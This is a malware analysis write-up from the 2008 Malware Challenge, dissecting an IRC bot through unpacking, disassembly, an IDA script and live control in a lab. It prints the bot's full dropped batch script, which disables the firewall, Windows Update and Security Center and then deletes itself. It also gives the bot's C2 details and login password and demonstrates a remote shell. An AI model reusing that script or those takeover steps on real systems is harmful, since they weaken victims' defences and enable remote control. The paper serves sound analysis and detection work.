

Malware Challenge 2008 Analysis

Anthony Lineberry

October 24, 2008

Abstract

This paper will describe the methods I used for analyzing the supplied malware for the 2008 Malware Challenge. Including details about the tools I used and how I applied them to determining information about its behavior. The questions for the challenge are not answered in order as listed on the website, but are answered in the order I encountered them while working on my analysis. All questions being referenced will be *italicized*.

1 Analysis Lab Environment

Question: Describe your malware lab.

First off, the tools I used to work on this.

- Windows Vista
- IDA Pro 5.0
- Windbg
- Ollydbg + ollydump plug-in
- PEiD
- ImpRec16
- ProcessMon
- Wireshark
- VMWare Workstation + Windows XP SP2 guest image
- Jack Daniels

The host OS for working in was windows vista, and running the actual malware itself in a Windows XP VMWare image. That allowed me to create snapshots of the guest OS environment to assist with analysis. For static binary analysis, I have solely used IDA Pro 5.0 for disassembly. For runtime analysis my tools of choice were windbg for debugging the running binary. ProcessMon to monitor the changes to the registry and filesystem. And Wireshark to capture and analyze network traffic generated by the malware. The rest of the tools in the list were used for determining the packer used by the malware and unpacking the binary onto disk. That will be covered more in the next section. The bottle of Jack Daniels was of course used for reaching the delicate effect of The Ballmer Peak¹.

2 Runtime Analysis

Question: Describe the malware's behavior. What files does it drop? What registry keys does it create and/or modify? What network connections does it create? How does it auto-start, etc?

2.1 Network Traffic

Running the malware inside the virtual machine with Wireshark running on the host, the first thing we see are DNS packets trying to resolve the domain `testirc1.sh1xy2bg.net`. Looking at the domain, it doesn't leave much doubt that it is trying to connect to an irc server. Setting up a local ircd and adding an entry out our hosts file, we can point that domain at our local IP. After doing that we can see the malware successfully connect to the server and join the channel `#challenge` with the password `happy12`. At this point there isn't much more we can do until after we do the static analysis to see how we can control the bot.

2.2 Environment modifications

If we run the malware again, this time with ProcessMon running, we can filter registry key activity see that the malware is creating/modifying many keys. Monitoring filesystem activity, we can see a couple files being dropped. An

¹<http://xkcd.com/323>

executable called Winsec32.exe and then a batch file and a registry script being dropped that do all the registry modifications, a.bat and 1.reg.

Opening Winsec32.exe in IDA it appears to just be a copy of the malware itself. Taking a look at the other two dumped files, you can see that one created the other. a.bat is created, and when ran creates 1.reg. The contents of a.bat are:

```
@echo off
Echo REGEDIT4>%temp%\1.reg
Echo.>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]>%temp%\1.reg
Echo "TransportBindName"="">%temp%\1.reg
Echo.>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]>%temp%\1.reg
Echo "Start"=dword:00000004>%temp%\1.reg
Echo.>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]>%temp%\1.reg'
Echo "Start"=dword:00000004>%temp%\1.reg'
Echo.>%temp%\1.reg'
Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>%temp%\1.reg'
Echo "Start"=dword:00000004>%temp%\1.reg
Echo.>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>%temp%\1.reg
Echo "EnableDCOM"="N">%temp%\1.reg
Echo "EnableRemoteConnect"="N">%temp%\1.reg
Echo.>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>%temp%\1.reg
Echo "restrictanonymous"=dword:00000001>%temp%\1.reg
Echo.>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
SecurityProviders\SCHANNEL\Protocols\PCT1.0\Server]>%temp%\1.reg
Echo "Enabled"=hex:00>%temp%\1.reg',0Dh,0Ah
Echo.>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
lanmanserver\parameters]>%temp%\1.reg
Echo "AutoShareWks"=dword:00000000>%temp%\1.reg
Echo "AutoShareServer"=dword:00000000>%temp%\1.reg
Echo.>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]>%temp%\1.reg
Echo "NameServer"="">%temp%\1.reg',0Dh,0Ah
Echo "ForwardBroadcasts"=dword:00000000>%temp%\1.reg
Echo "IPEnableRouter"=dword:00000000>%temp%\1.reg
Echo "Domain"="">%temp%\1.reg
Echo "SearchList"="">%temp%\1.reg
Echo "UseDomainNameDevolution"=dword:00000001>%temp%\1.reg
Echo "EnableICMPRedirect"=dword:00000000>%temp%\1.reg
Echo "DeadGWDetectDefault"=dword:00000001>%temp%\1.reg
Echo "DontAddDefaultGatewayDefault"=dword:00000000>%temp%\1.reg
Echo "EnableSecurityFilters"=dword:00000001>%temp%\1.reg
Echo "AllowUnqualifiedQuery"=dword:00000000>%temp%\1.reg
Echo "PrioritizeRecordData"=dword:00000001>%temp%\1.reg
Echo "TCP13200pts"=dword:00000003>%temp%\1.reg
Echo "KeepAliveTime"=dword:00023280>%temp%\1.reg
Echo "BcastQueryTimeout"=dword:000002ee>%temp%\1.reg
Echo "BcastNameQueryCount"=dword:00000001>%temp%\1.reg
```

```

Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg
Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg
Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg
Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg
Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg
Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg
Echo "FastSendDatagramThreshold " =dword:00000400>>%temp%\1.reg
Echo "StandardAddressLength " =dword:00000018>>%temp%\1.reg
Echo "DefaultReceiveWindow " =dword:00004000>>%temp%\1.reg
Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg
Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg
Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg
Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg
Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg
Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg
Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg
Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg
Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg
Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg
Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg
Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg
Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg
Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg
Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg
Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg
Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg
Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,00,34,00,00,00,38,00,00,
00,30,00,00,00,00,00>>%temp%\1.reg
Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg
Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\1.reg
Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\1.reg
Echo "UpdateSecurityLevel " =dword:00000000>>%temp%\1.reg
Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg
Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg
Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg
Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg
Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg
Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg
Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg
Echo "SackOpts"=dword:00000001>>%temp%\1.reg
Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg
Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg
Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg
Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg
Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg
Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg
Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg
Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg
Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg
Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg
Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg
Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg
Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg
Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg
Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg
Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg
Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg

```

```

Echo.>>%temp%\1.reg
Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]>>%temp%\1.reg
Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg
Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg
Echo.>>%temp%\1.reg
START /WAIT REGEDIT /S %temp%\1.reg
DEL %temp%\1.reg
DEL %0

```

This script writes out the registry script and then calls `regedit` with the `/S` switch to modify the registry. `1.reg` is mostly just changing environmental behavior, etc as you can see by reading through it. After running that through `regedit`, it then proceeds to delete the registry script, and itself.

Looking through the logs of `ProcessMon` we can see two other important keys that the malware modifies when first ran.

```

\\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
\\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

```

It creates an entry in each called `Microsoft Svchost local services` and sets the string value to `Winsec32.exe` These two entries enable the malware to run on startup whenever the machine is booted, much like other legitimate software such as `VMWare` tools, etc.

3 Unpacking

Question: Is the malware Packed? If so, how did you determine what it was?

This piece of malware was packed using a `UPX` packer. This is a very common packer and is very easy to unpack and dump. I used the `PEiD` utility to first to determine that it was in fact using `UPX`. Then I opened the binary up in `Ollydbg`. Looking at the main entry point and the code following it, you will first see a `pushad` instruction to save the cpu state onto the stack. Immediately after that there is a long unpacking loop. Looking farther down, you will see a matching `popad` instruction followed by a `jmp` to the original entry point of the binary a couple instructions later. Setting a breakpoint on that `jmp` instruction and then stepping through it will leave the code in an unpacked state in memory. At this point we can use the `ollydump` plug-in to dump the binary back to disk. With the newly dumped binary you can reconstruct the import tables using `ImpRec16`, giving you all the original symbols. From here we can continue on with the static analysis of the binary later on.

4 Binary Analysis

Question: What information can you gather about the malware without executing it?

Now that we are to the point of having unpacked the malware and gathered a little bit of information, we can start to reverse engineer the disassembled code.

4.1 Startup

Opening the binary in IDA, one of the first things we want to check out is what happens when the malware is starting up. Looking at the code's main entry point `WinMain` at `0040380F`, the first thing you can see it doing is setting up its own Exception handler that it adds to the beginning of the ExceptionList in the Thread Information Block (TIB) that is stored at `fs:0`.

```
ABC0:0040381B      mov     [ebp+var_4], offset sub_4093F7
ABC0:00403822      push   [ebp+var_4]
ABC0:00403825      push   large dword ptr fs:0
ABC0:0040382C      mov     large fs:0, esp
```

The exception handler it sets, `sub_4093F7`, just closes open sockets, does some cleanup, and restarts itself.

Immediately after it setups up the exception handler, it makes a call to `sub_401A6B`. This is our function that drops `a.bat` mentioned previously. It writes it to a file, and then calls `CreateProcessA` to execute it as you can see in the function calls in the next disassembly snippet (portions have been left out).

```
...
ABC0:00401A78      push   esi
ABC0:00401A79      push   edi
ABC0:00401A7A      mov     ecx, 5C1h
ABC0:00401A7F      mov     esi, offset a@echo0ffEchoRe ; "@echo off\r\nEcho REGEDIT4"...
ABC0:00401A84      lea    edi, [ebp+Buffer]
ABC0:00401A8A      lea    eax, [ebp+CommandLine]
ABC0:00401A90      rep movsd
ABC0:00401A92      movsw
ABC0:00401A94      push   offset aCA_bat ; "c:\\a.bat"
ABC0:00401A99      push   eax ; char *
ABC0:00401A9A      movsb
ABC0:00401A9B      call   _sprintf
...

```

```

ABC0:00401AD4      push    eax            ; nNumberOfBytesToWrite
ABC0:00401AD5      lea    eax, [ebp+Buffer]
ABC0:00401ADB      push    eax            ; lpBuffer
ABC0:00401ADC      push    edi            ; hFile
ABC0:00401ADD      call   WriteFile

...

ABC0:00401B07      push    ecx            ; lpStartupInfo
ABC0:00401B08      push    esi            ; lpCurrentDirectory
ABC0:00401B09      inc    eax
ABC0:00401B0A      push    esi            ; lpEnvironment
ABC0:00401B0B      push    28h           ; dwCreationFlags
ABC0:00401B0D      mov    [ebp+StartupInfo.dwFlags], eax
ABC0:00401B10      push    eax            ; bInheritHandles
ABC0:00401B11      push    esi            ; lpThreadAttributes
ABC0:00401B12      lea    eax, [ebp+CommandLine]
ABC0:00401B18      push    esi            ; lpProcessAttributes
ABC0:00401B19      push    eax            ; lpCommandLine
ABC0:00401B1A      push    esi            ; lpApplicationName
ABC0:00401B1B      mov    [ebp+StartupInfo.wShowWindow], si
ABC0:00401B1F      call   CreateProcessA

```

Following a little farther down you will see another call to `sub_408E8A`. This is the code to set the auto-start registry keys for boot startup processes. In that code you will see calls to `RegCreateKeyExA` and `RegSetValueExA`².

4.2 Network Connection

Question: What type of command and control server does the malware use? Describe the server and interface this malware uses as well as the domains and URLs accessed by the malware.

Now that we have gone over all the initial environment startup procedures, lets move onto the network connection it makes. This section as well as the next will cover the above challenge question.

The very next thing you will see in the disassembly is the malware starting its IRC connection. we can see at `loc_403B16` references to the IRC server domain as well as the channel it would like to join and the password.

```

ABC0:00403B16  loc_403B16:          ; CODE XREF: WinMain(x,x,x,x)+2F0
ABC0:00403B16          ; WinMain(x,x,x,x)+2F8

...

```

²These calls are imported manually and are not immediately clear as to what is being called. See IDC Script subsection for details.

```

ABC0:00403B5B      push     7Fh                ; size_t
ABC0:00403B5D      push     offset aTestirc1_sh1xy ; "testirc1.sh1xy2bg.NET"
ABC0:00403B62      push     offset byte_47554C ; char *
ABC0:00403B67      call    _strncpy
ABC0:00403B6C      mov     eax, dword_41C7B8
ABC0:00403B71      push     3Fh                ; size_t
ABC0:00403B73      push     offset aChallenge ; "#challenge"
ABC0:00403B78      push     offset byte_4755CC ; char *
ABC0:00403B7D      mov     ds:dword_47569C, eax
ABC0:00403B82      call    _strncpy
ABC0:00403B87      add     esp, 40h
ABC0:00403B8A      push     3Fh                ; size_t
ABC0:00403B8C      push     offset aHappy12 ; "happy12"
ABC0:00403B91      push     offset byte_47560C ; char *
ABC0:00403B96      call    _strncpy

```

Then a little farther down we see a call to `InternetGetConnectedState` to make sure we have a connection, and then we proceed to open up a socket to the IRC server at `sub_403C10`. Looking there you will see the calls to `socket` and `connect`.

After connecting to the server, we see a call to `sub_403D76`. This call issues a `NICK` command on the server. The bot determines its nickname based on its regional location, OS, and a random generated number, eg: `USA[XP]803984`. All the nickname is generated in the function `sub_403294`, which is called in a chain stemming from our server connection function at `sub_403C10`. After this we come to the meat of this piece of malware. Its main processing loop at `sub_403FE2`. The first thing you will see this function do is issue a `JOIN` command and join the `#challenge` channel and then set the topic to `.asc vnc 100 0 0 -r -b` and then set the mode to `+mnst`. After that this main loop will handle all commands received by the malware.

4.3 Authentication

Before the bot will accept commands, you must join the channel it resides in, `#challenge`, and authenticate yourself. To do so, you must send the `login` command and the password `gemp123`. All command must also start with a period (`.`), eg:

```
.login gemp123
```

You must also be coming from the domain `legalize.it`. I was able to setup my `ircd` hostname as `legalize.it` to bypass this.

The following snippets of disassembled code will document how the authentication procedure works and follows the chain of jumps through the

code. I have added comments explaining the workings of the code as well as symbol names to make reading the code easier and more clear.

```

; Check if we are trying to log in
ABCO:0040459D      mov     ecx, [eax]           ; ecx holds pointer to our cmd ".login gemp123"
ABCO:0040459F      lea     edi, [ecx+1]        ; pointer to cmd string minus first char into edi
ABCO:004045A2      mov     [eax], edi
ABCO:004045A4      mov     al, [ecx]
ABCO:004045A6      cmp     al, byte_41C7D0    ; checks if the cmd begins with "."
ABCO:004045A6      ; byte_41C7D0 is '.'
ABCO:004045AC      mov     [ebp+arg_20], edi
ABCO:004045AF      jnz     loc_404369
ABCO:004045B5      push   edi                 ; command string
ABCO:004045B6      push   offset aLogin      ; "login"
ABCO:004045BB      call   _strcmp            ; Check if command sent was login cmd
ABCO:004045C0      pop    ecx
ABCO:004045C1      test   eax, eax
ABCO:004045C3      pop    ecx
ABCO:004045C4      jz     loc_4089BE
...
; check the password parameter
ABCO:004089BE loc_4089BE: ; CODE XREF: MainProcessingFunc+6D2 j
ABCO:004089BE ; MainProcessingFunc+6E7 j
ABCO:004089BE      mov     esi, [ebp+esi+var_9C]
ABCO:004089C5      cmp     esi, ebx
ABCO:004089C7      mov     [ebp+pszCommandArg], esi
ABCO:004089D0      cmp     [ebp+bAuthenticated], ebx ; have we already logged in before
ABCO:004089D6      jnz     loc_404369
ABCO:004089DC      push   offset asc_425B84 ; "!"
ABCO:004089E1      push   [ebp+pszIrcInput] ; char *
ABCO:004089E7      call   _strtok
ABCO:004089EC      mov     esi, eax
ABCO:004089EE      push   offset word_475DB4 ; char *
ABCO:004089F3      push   ebx                 ; char *
ABCO:004089F4      inc     esi
ABCO:004089F5      call   _strtok
ABCO:004089FA      push   offset asc_423648 ; "~"
ABCO:004089FF      push   eax                 ; char *
ABCO:00408A00      call   _strtok
ABCO:00408A05      push   [ebp+pszCommandArg] ; char *
ABCO:00408A08      mov     edi, eax
ABCO:00408A0A      push   offset aGemp123 ; "gemp123" ; <-- password hardcoded here
ABCO:00408A0F      call   _strcmp
ABCO:00408A14      add     esp, 20h
ABCO:00408A17      test   eax, eax
ABCO:00408A19      jz     short loc_408A66

; Check the hostname
...
ABCO:00408A66 loc_408A66: ; CODE XREF: MainProcessingFunc+4B27 j
ABCO:00408A66      mov     [ebp+ThreadId], ebx
ABCO:00408A69
ABCO:00408A69 loc_408A69: ; CODE XREF: MainProcessingFunc+4B94 j
ABCO:00408A69      mov     eax, [ebp+ThreadId]
ABCO:00408A6C      push   edi                 ; push bot masters user@host string
ABCO:00408A6D      push   off_41C8B0[eax] ; String *@legalize.it
ABCO:00408A73      call   CheckHostname      ; Check hostname (ret: 1 success, 0 failure)

```

```

ABC0:00408A78          pop     ecx
ABC0:00408A79          test   eax, eax
ABC0:00408A7B          pop     ecx
ABC0:00408A7C          jnz    short loc_408AC1
...

; Another Password check? Not sure why its doing a strcmp() on this twice
ABC0:00408AC1 loc_408AC1:          ; CODE XREF: MainProcessingFunc+4B8A j
ABC0:00408AC1          mov     edi, [ebp+pszAuthenticatedUser]
ABC0:00408AC4          xor     esi, esi
ABC0:00408AC6          ; CODE XREF: MainProcessingFunc+4BF5 j
ABC0:00408AC6 loc_408AC6:          ; CODE XREF: MainProcessingFunc+4BF5 j
ABC0:00408AC6          cmp     [edi], bl
ABC0:00408AC8          jnz    short loc_408ADD
ABC0:00408ACA          push   [ebp+pszCommandArg] ; char *
ABC0:00408ACD          push   offset aGemp123 ; "gemp123"
ABC0:00408AD2          call   _strcmp             ; <-- once again checking password?..
ABC0:00408AD7          pop     ecx
ABC0:00408AD8          test   eax, eax
ABC0:00408ADA          pop     ecx
ABC0:00408ADB          jz     short loc_408AEE

; If all this passes, then we set the authenticated user
; and we're golden. Now we can control the bot
ABC0:00408AEE loc_408AEE:          ; CODE XREF: MainProcessingFunc+4BE9 j
ABC0:00408AEE          shl     esi, 7
ABC0:00408AF1          add     esi, [ebp+pszAuthenticatedUser]
ABC0:00408AF4          lea    eax, [ebp+pszIrcUsername]
ABC0:00408AFA          push   7Fh                 ; size_t
ABC0:00408AFC          push   eax                 ; char *
ABC0:00408AFD          push   esi                 ; char *
ABC0:00408AFE          call   _strncpy            ; <-- Set Authenticated User

```

Once `pszAuthenticatedUser` is set, all other commands will be allowed to execute. From here you can just look through the disassembly and find commands and look at what the function is doing to determine its behavior. There are too many commands for us to disassemble each one and explain in this paper, but this is where the malware gets fun.

4.4 Additional Help: IDA Scripts

One thing I'd like to cover in my static analysis I did on the binary, is that I noticed the malware was manually importing functions from all the libraries it uses. Instead of linking to the library, it uses `LoadLibraryA` to load the dll, and then calls `GetModuleAddress` to get the address of the function in the loaded library. It then populates a large list of function pointers for each associated function name it wants to use.

```

ABC0:00401E23          push   offset LibFileName ; "user32.dll"
ABC0:00401E28          call   LoadLibraryA

```

```

ABCO:00401E2E      mov     edi, eax
ABCO:00401E30      cmp     edi, ebx
ABCO:00401E32      jz      loc_401F38
ABCO:00401E38      push   offset aSendMessagea ; "SendMessageA"
ABCO:00401E3D      push   edi ; hModule
ABCO:00401E3E      call   esi ; GetProcAddress
ABCO:00401E40      push   offset aFindwindowa ; "FindWindowA"
ABCO:00401E45      push   edi ; hModule
ABCO:00401E46      mov     dword_42B644, eax
ABCO:00401E4B      call   esi ; GetProcAddress
ABCO:00401E4D      push   offset aIsWindow ; "IsWindow"
ABCO:00401E52      push   edi ; hModule
ABCO:00401E53      mov     dword_42B5F8, eax

```

This makes reading the disassembly a little hard as instead of seeing `call recv` you would just see `call dword_85FB1`. Not the most clear thing ever. I could have renamed these symbols by hand, but there was far too many to make that realistic. Instead I took the time to write a little IDA script that will rename all these symbols to human readable names. So now instead of `call dword_85FB1` you will see `call __recv`. You'll find that running this makes the main functionality of the malware a lot easier to understand what its doing. The following is the source of the IDA script to do this.

```

// Manual Import symbol fixer upper
// Anthony Lineberry
// http://dtors.org
//
// This little IDA script just fixes all the names of the function
// pointers in the manually imported libraries to the name of the
// function they point to, instead of crap function names like dw_43010
// Its probably not portable for shit, and mostly likely just works on this 1 piece of malware,
// but there were way too many functions pointers with stupid names to do by hand

#include <idc.idc>

// Check for name string push signature
// eg: push   offset aSendMessageA
static isPushName(instr) {
    auto disasm;

    disasm = GetDisasm(instr);

    if(strstr(disasm, "push   offset a") < 0) {
        return -1;
    } else {
        return 0;
    }
}

// Is this instruction setting the function pointer?
static isFuncPtrSet(instr) {
    auto disasm;

```

```

    disasm = GetDisasm(instr);
    if(strstr(disasm, "dword_") < 0 || strstr(disasm, "eax") < 0) {
        return -1;
    } else {
        return 0;
    }
}

// This function is a bit sloppy. could add a better heuristic
// the instruction to set the function pointer usually is 6 instructions down
// but not always, sometimes its 5, sometimes its 4.

static findNextFuncPtrSet(instr) {
    auto _instr, disasm;
    auto i, j;
    for(j = 6; j >= 4; j--) {
        _instr = instr;
        for(i=0; i < j; i++) {
            _instr = FindCode(_instr, SEARCH_DOWN | SEARCH_NEXT);
        }
        if(isFuncPtrSet(_instr) == 0)
            return _instr;
    }

    // fuck it, we'll give up
    Message("    >>>>Fuck It, moving on...<<<<\n");
    return 0;
}

static getPushName(instr) {
    auto disasm, name;
    auto index;

    if(isPushName(instr) != 0) {
        return 0;
    }

    disasm = GetDisasm(instr);

    // get string between quotes in the comment
    index = strstr(disasm, "\"");
    name = substr(disasm, index+1, strlen(disasm)-1);

    return name;
}

static getFuncPtrAddr(instr) {
    auto disasm, addr, name;
    auto index, index2;

    if(isFuncPtrSet(instr) != 0) {
        return 0;
    }
}

```

```

    disasm = GetDisasm(instr);

    // get string between quotes in the comment
    index = strstr(disasm, "_");
    index2 = strstr(disasm, ",");
    name = substr(disasm, index+1, index2);
    addr = xtoul(name);

    return addr;
}

static main() {
    auto instr, setFuncPtr_instr, start_addr, end_addr;
    auto name, addr;
    auto i;

    Message(" -----\n");
    Message(" ManualImportFix (c) 2008 Anthony Lineberry\n");
    Message(" -----\n");

    start_addr = LocByName("sub_401CEE");
    Message(" StartAddress: %x\n", start_addr);
    end_addr = start_addr + 0x1000;
    instr = start_addr;

    // Loop through instructions
    while(instr < end_addr) {
        instr = FindCode(instr, SEARCH_DOWN | SEARCH_NEXT);

        if(isPushName(instr) < 0)
            continue;

        // find where we set the function pointer with the
        // address returned from
        setFuncPtr_instr = findNextFuncPtrSet(instr);
        if(setFuncPtr_instr == 0)
            continue;

        name = getPushName(instr);
        name = "__" + name;

        addr = getFuncPtrAddr(setFuncPtr_instr);

        Message(" Setting 0x%x to %s\n", addr, name);
        MakeNameEx(addr, name, SN_PUBLIC);
    }
}

```

5 Commands

Question: What commands are present within the malware and what do they do? If possible, take control of the malware and run some of these commands,

documenting how you did it.

This piece of malware supports a virtual swiss army knife of commands. Supporting a built in web server, ftp server, requesting information about the computer its running on (drive info, net info, etc.), DDoS, ping floods, syn floods, upd floods, scan and exploit other machines (there is a quite large password dictionary inside the malware) and many others. After setting up an ired and taking control of the malware as documented previously, I sat down and played with a few of the commands. The following are a few of the commands I ran and what they do.

`.login gemp123` - Authenticates you to issue commands.

```
<@anthony> .login gemp123
<USA[XP]16> [REALMBOT] : Thank for trying.
```

`.web.on` - Turns on an http server inside the malware that servers a web based interface to the infected hosts filesystem.

```
<@anthony> .web.on
<USA[XP]16> [REALMBOT] << Server listening on IP: 192.168.197.128:80, Directory: \. >>
```

`.sysinfo` - Prints out system information to the irc channel.

```
<@anthony> .sysinfo
<USA[XP]16> [SYSINFO]: [CPU]: 2000MHz. [RAM]: 261,616KB total,
261,616KB free. [Disk]: 8,377,864KB total, 6,636,304KB free.
[OS]: Windows XP (Service Pack 2) (5.1, Build 2600). [Sysdir]: C:
\WINDOWS. [Hostname]: anthony-c17938.localdomain
(192.168.197.128). [Current User]: anthony. [Date]: 24:0ct:
2008. [Time]: 16:42:31. [Uptime]: 0d 0h 17m.
```

`.cmd1`, `.cmd` - Opens an interactive remote shell forwarded to the irc channel.

```
<@anthony> .cmd1
<USA[XP]16> [REALMBOT] << Remote shell ready. >>
<USA[XP]16> Microsoft Windows XP [Version 5.1.2600]
<USA[XP]16> (C) Copyright 1985-2001 Microsoft Corp.
<USA[XP]16> C:\WINDOWS>
<@anthony> .cmd cd C:\
<USA[XP]16> cd C:\
<USA[XP]16> C:\>
<@anthony> .cmd dir
<USA[XP]16> dir
<USA[XP]16> Volume in drive C has no label.
<USA[XP]16> Volume Serial Number is 8CED-643F
<USA[XP]16> Directory of C:\
<USA[XP]16> 07/30/2008 03:06 PM 0 AUTOEXEC.BAT
```

```

<USA[XP]16> 07/30/2008 03:06 PM          0 CONFIG.SYS
<USA[XP]16> 07/30/2008 03:18 PM    <DIR>      Documents and Settings
<USA[XP]16> 10/02/2008 08:56 PM    <DIR>      Program Files
<USA[XP]16> 10/24/2008 04:35 PM    <DIR>      WINDOWS
<USA[XP]16>                2 File(s)          0 bytes
<USA[XP]16>                3 Dir(s)    6,786,396,160 bytes free
<USA[XP]16> C:\>

```

You can read through the disassembly starting at around 0x00404ACB and find many commands supported by this malware. As I said, I would love to go through them all, but there are quite a few, so you can get the gist of what this malware is capable of.

6 Conclusion

Question: How would you classify this malware? Why?

Question: What do you think the purpose of this malware is?

This malware is a very well rounded trojan/bot. It enables you to be able to control the infected computer almost completely, and command an army of machines from the irc channel to do your bidding. You can use this to install additional software onto all the infected hosts, run DDoS attacks against a particular domain, and many other things.

7 Bonus!

Question: Is it possible to find the malware's source code? If so, how did you do it?

I poked around a bit trying to find the source. Issuing the `.ver` command to the bot, it replies back with `RealmBot (irc.p.l.g) .>>>>. Crxbot Alias REalmbot -by Lindem-`. Googling for “Crxbot Lindem” returned 2 links. Both to a thread on the website www.ryan1918.com. The thread is titled “FREE. Test it src code Crxbot-RealmBot”. There is a link to the source on rapidshare. <http://rapidshare.de/files/27811031/Crx-Realmbot-Asn-By-Lindem.rar.html>. Unfortunately the link is no longer valid. I did a little bit more searching with some different related terms, but came up empty handed.

Question: How would you write a custom detection and removal tool to determine if the malware is present on the system and remove it?

Wish I had time to code up a removal tool, but unfortunately I don't. But if I was going to, I would first do a scan in the registry for the auto-start entries. If those were present I would remove them, and then remove the binary from the disk as well. Also would make sure to have it kill the `Winnsec32.exe` process if it is running. I'm sure there is a lot more extensive way to go about this, but that would be a quick easy way to detect and remove it from the system.